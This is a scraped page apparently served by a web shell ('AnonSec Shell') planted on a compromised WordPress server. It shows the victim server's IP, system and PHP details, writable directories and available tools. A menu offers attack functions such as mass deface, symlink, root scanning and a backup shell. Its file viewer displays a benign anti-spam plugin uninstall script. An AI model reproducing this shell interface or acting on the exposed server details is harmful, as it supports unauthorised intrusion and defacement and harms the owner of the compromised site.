AnonSec Shell
Server IP : 52.91.253.208  /  Your IP : 18.118.144.248   [ Reverse IP ]
Web Server : Apache
System : Linux ip-172-26-9-9 4.19.0-25-cloud-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24) x86_64
User : daemon ( 1)
PHP Version : 7.3.18
Disable Function : NONE
Domains : 3 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apps/wordpress/htdocs/wp-content/plugins/anti-spam/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/bitnami/apps/wordpress/htdocs/wp-content/plugins/anti-spam/uninstall.php
<?php
// @formatter:off
// if uninstall.php is not called by WordPress, die
if( !defined('WP_UNINSTALL_PLUGIN') ) {
	die;
}

/**
 * Удаление кеша и опций
 */
function uninstall()
{
	// remove plugin options
	global $wpdb;

	$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'titan_%';");
}

if(get_option( 'titan_complete_uninstall', false)) {
	if ( is_multisite() ) {
		global $wpdb, $wp_version;

		$wpdb->query("DELETE FROM {$wpdb->sitemeta} WHERE meta_key LIKE 'titan_%';");

		$blogs = $wpdb->get_col( "SELECT blog_id FROM $wpdb->blogs" );

		if ( ! empty( $blogs ) ) {
			foreach ( $blogs as $id ) {

				switch_to_blog( $id );

				uninstall();

				restore_current_blog();
			}
		}
	} else {
		uninstall();
	}
}

//require_once dirname(__FILE__) . '/includes/firewall/class-database-schema.php';
//$db_schema = new \WBCR\Titan\Database\Schema();
//$db_schema->dropAll();

Anon7 - 2022
AnonSec Team